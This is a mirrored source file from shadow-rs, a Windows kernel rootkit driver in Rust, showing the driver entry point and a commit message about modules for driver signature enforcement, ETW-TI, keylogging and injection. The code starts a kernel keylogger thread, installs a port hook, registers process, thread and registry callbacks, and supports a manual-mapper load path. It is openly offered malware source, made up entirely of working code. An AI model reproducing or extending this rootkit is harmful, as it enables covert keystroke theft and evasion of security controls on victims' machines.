mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-18 15:54:33 +01:00
- Moved and refactored several internal modules to `driver/src/internals/`: - Added new files: `enums.rs`, `externs.rs`, `structs.rs`, `types.rs`, and `mod.rs`. - Renamed `includes/vad.rs` to `internals/vad.rs` for better organization. - Updated `callback` module: - Refactored `notify_routine.rs`, `object.rs`, `registry.rs`, and supporting files for better callback handling. - Improved callback finding mechanism in `find_callback.rs` and `ioctls.rs`. - Adjusted `injection` module: - Refactored callback and I/O control handling in `callbacks.rs` and `ioctls.rs`. - Miscellaneous improvements: - Updated `misc/dse.rs`, `misc/etwti.rs`, and `keylogger/mod.rs`. - Refactored `process`, `registry`, and `thread` modules for better maintainability. - Simplified utility functions in `utils/`, including `address.rs`, `handles.rs`, `patterns.rs`, and more. - Cleaned up and removed unused files like `.gitignore` in multiple directories. - Updated `Cargo.toml` and `Cargo.lock` to reflect dependency changes.
336 lines
10 KiB
Rust
336 lines
10 KiB
Rust
#![no_std]
|
|
#![allow(unused_must_use)]
|
|
#![allow(unreachable_code)]
|
|
#![allow(unused_variables)]
|
|
|
|
extern crate alloc;
|
|
|
|
use {
|
|
utils::uni,
|
|
port::Port,
|
|
core::ptr::null_mut,
|
|
kernel_log::KernelLogger,
|
|
crate::utils::ioctls::IOCTL_MAP,
|
|
misc::keylogger::{keylogger, SHUTDOWN},
|
|
wdk_sys::{ntddk::*, _MODE::KernelMode, *}
|
|
};
|
|
|
|
#[cfg(not(feature = "mapper"))]
|
|
use {
|
|
process::{on_pre_open_process, CALLBACK_REGISTRATION_HANDLE_PROCESS},
|
|
thread::{on_pre_open_thread, CALLBACK_REGISTRATION_HANDLE_THREAD},
|
|
registry::{registry_callback, CALLBACK_REGISTRY},
|
|
};
|
|
|
|
#[cfg(not(feature = "mapper"))]
|
|
pub mod registry;
|
|
pub mod callback;
|
|
pub mod misc;
|
|
pub mod driver;
|
|
pub mod internals;
|
|
pub mod process;
|
|
pub mod thread;
|
|
pub mod module;
|
|
pub mod injection;
|
|
pub mod port;
|
|
pub mod utils;
|
|
|
|
/// The name of the device in the device namespace.
|
|
const DEVICE_NAME: &str = "\\Device\\shadow";
|
|
|
|
/// The name of the device in the DOS device namespace.
|
|
const DOS_DEVICE_NAME: &str = "\\??\\shadow";
|
|
|
|
/// Driver input function.
|
|
///
|
|
/// This function is called by the system when the driver is loaded.
|
|
///
|
|
/// # Parameters
|
|
///
|
|
/// - `driver_object`: Pointer to the driver object.
|
|
/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
|
///
|
|
/// # Returns
|
|
///
|
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
|
///
|
|
/// Reference: WDF expects a symbol with the name DriverEntry
|
|
#[export_name = "DriverEntry"]
|
|
pub unsafe extern "system" fn driver_entry(
|
|
driver: &mut DRIVER_OBJECT,
|
|
registry_path: PCUNICODE_STRING,
|
|
) -> NTSTATUS {
|
|
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
|
|
|
|
#[cfg(feature = "mapper")] {
|
|
use internals::IoCreateDriver;
|
|
|
|
const DRIVER_NAME: &str = "\\Driver\\shadow";
|
|
let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
|
|
let status = IoCreateDriver(&mut driver_name, Some(shadow_entry));
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("IoCreateDriver Failed With Status: {status}");
|
|
}
|
|
return status;
|
|
}
|
|
|
|
shadow_entry(driver, registry_path)
|
|
}
|
|
|
|
/// Driver input function.
|
|
///
|
|
/// This function is called by the system when the driver is loaded. It is responsible for
|
|
/// initializing the driver, creating the device object and setting up the symbolic link.
|
|
///
|
|
/// # Parameters
|
|
///
|
|
/// - `driver_object`: Pointer to the driver object.
|
|
/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
|
///
|
|
/// # Returns
|
|
///
|
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
|
///
|
|
pub unsafe extern "system" fn shadow_entry(
|
|
driver: &mut DRIVER_OBJECT,
|
|
_registry_path: PCUNICODE_STRING,
|
|
) -> NTSTATUS {
|
|
log::info!("Shadow Loaded");
|
|
|
|
let device_name = uni::str_to_unicode(DEVICE_NAME);
|
|
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
|
let mut device_object: *mut DEVICE_OBJECT = core::ptr::null_mut();
|
|
let mut status = IoCreateDevice(
|
|
driver,
|
|
0,
|
|
&mut device_name.to_unicode(),
|
|
FILE_DEVICE_UNKNOWN,
|
|
FILE_DEVICE_SECURE_OPEN,
|
|
0,
|
|
&mut device_object,
|
|
);
|
|
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("IoCreateDevice Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
driver.DriverUnload = Some(driver_unload);
|
|
driver.MajorFunction[IRP_MJ_CREATE as usize] = Some(driver_close);
|
|
driver.MajorFunction[IRP_MJ_CLOSE as usize] = Some(driver_close);
|
|
driver.MajorFunction[IRP_MJ_DEVICE_CONTROL as usize] = Some(device_control);
|
|
|
|
status = IoCreateSymbolicLink(&mut dos_device_name.to_unicode(),&mut device_name.to_unicode());
|
|
|
|
if !NT_SUCCESS(status) {
|
|
IoDeleteDevice(device_object);
|
|
log::error!("IoCreateSymbolicLink Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
let mut h_thread: HANDLE = core::ptr::null_mut();
|
|
status = PsCreateSystemThread(
|
|
&mut h_thread,
|
|
THREAD_ALL_ACCESS,
|
|
null_mut(),
|
|
null_mut(),
|
|
null_mut(),
|
|
Some(keylogger),
|
|
null_mut(),
|
|
);
|
|
|
|
if !NT_SUCCESS(status) {
|
|
IoDeleteDevice(device_object);
|
|
log::error!("PsCreateSystemThread Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
#[cfg(feature = "mapper")] {
|
|
(*device_object).Flags |= DO_BUFFERED_IO;
|
|
(*device_object).Flags &= !DO_DEVICE_INITIALIZING;
|
|
}
|
|
|
|
#[cfg(not(feature = "mapper"))] {
|
|
status = register_callbacks(driver);
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("register_callbacks Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
}
|
|
|
|
let status = unsafe { Port::install_hook() };
|
|
|
|
STATUS_SUCCESS
|
|
}
|
|
|
|
/// Handles device control commands (IOCTL).
|
|
///
|
|
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
|
|
///
|
|
/// # Parameters
|
|
///
|
|
/// - `_device`: Pointer to the device object (not used in this function).
|
|
/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
|
|
///
|
|
/// # Returns
|
|
///
|
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
|
///
|
|
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
|
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
|
|
|
let status = if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
|
handler(irp, stack)
|
|
} else {
|
|
STATUS_INVALID_DEVICE_REQUEST
|
|
};
|
|
|
|
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
|
|
|
status
|
|
}
|
|
|
|
/// Closes an open instance of the device.
|
|
///
|
|
/// This function is called when an open instance of the device is closed.
|
|
/// It marks the I/O request (IRP) as successfully completed.
|
|
///
|
|
/// # Parameters
|
|
///
|
|
/// - `_device_object`: Pointer to the associated device object (not used in this function).
|
|
/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
|
|
///
|
|
/// # Returns
|
|
///
|
|
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
|
///
|
|
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
|
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
|
|
(*irp).IoStatus.Information = 0;
|
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
|
STATUS_SUCCESS
|
|
}
|
|
|
|
/// Download the system driver.
|
|
///
|
|
/// This function is called when the driver is being unloaded from the system.
|
|
/// It removes the symbolic link and deletes the device object associated with the driver.
|
|
///
|
|
/// # Parameters
|
|
///
|
|
/// - `driver_object`: Pointer to the driver object being unloaded.
|
|
///
|
|
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
|
log::info!("Unloading driver");
|
|
|
|
SHUTDOWN = true;
|
|
|
|
let hook_status = Port::uninstall_hook();
|
|
if !NT_SUCCESS(hook_status) {
|
|
log::error!("Failed to uninstall hook before unload");
|
|
}
|
|
|
|
let mut interval = LARGE_INTEGER {
|
|
QuadPart: -50 * 1000_i64 * 1000_i64,
|
|
};
|
|
|
|
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
|
|
|
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
|
IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
|
|
IoDeleteDevice((*driver_object).DeviceObject);
|
|
|
|
#[cfg(not(feature = "mapper"))] {
|
|
ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS);
|
|
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
|
|
CmUnRegisterCallback(CALLBACK_REGISTRY);
|
|
}
|
|
|
|
let mut interval = LARGE_INTEGER {
|
|
QuadPart: -1 * -(50 * 1000_i64),
|
|
};
|
|
|
|
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
|
|
|
log::info!("Shadow Unload");
|
|
}
|
|
|
|
/// Register Callbacks.
|
|
///
|
|
/// # Parameters
|
|
///
|
|
/// - `driver_object`: Pointer to the driver object being unloaded.
|
|
///
|
|
/// # Returns
|
|
///
|
|
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
|
///
|
|
#[cfg(not(feature = "mapper"))]
|
|
pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS {
|
|
let mut status;
|
|
|
|
// Creating callbacks related to Process operations
|
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
|
ObjectType: PsProcessType,
|
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
|
PreOperation: Some(on_pre_open_process),
|
|
PostOperation: None,
|
|
};
|
|
let altitude = uni::str_to_unicode("31243.5222");
|
|
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
|
OperationRegistrationCount: 1,
|
|
Altitude: altitude.to_unicode(),
|
|
RegistrationContext: core::ptr::null_mut(),
|
|
OperationRegistration: &mut op_reg,
|
|
};
|
|
|
|
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS));
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("ObRegisterCallbacks (Process) Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
// Creating callbacks related to thread operations
|
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
|
ObjectType: PsThreadType,
|
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
|
PreOperation: Some(on_pre_open_thread),
|
|
PostOperation: None,
|
|
};
|
|
let altitude = uni::str_to_unicode("31243.5223");
|
|
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
|
OperationRegistrationCount: 1,
|
|
Altitude: altitude.to_unicode(),
|
|
RegistrationContext: core::ptr::null_mut(),
|
|
OperationRegistration: &mut op_reg,
|
|
};
|
|
|
|
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD));
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("ObRegisterCallbacks (Thread) Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
// Creating callbacks related to registry operations
|
|
let mut altitude = uni::str_to_unicode("31422.6172").to_unicode();
|
|
status = CmRegisterCallbackEx(
|
|
Some(registry_callback),
|
|
&mut altitude,
|
|
driver_object as *mut DRIVER_OBJECT as *mut core::ffi::c_void,
|
|
null_mut(),
|
|
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
|
|
null_mut(),
|
|
);
|
|
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("CmRegisterCallbackEx Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
status
|
|
}
|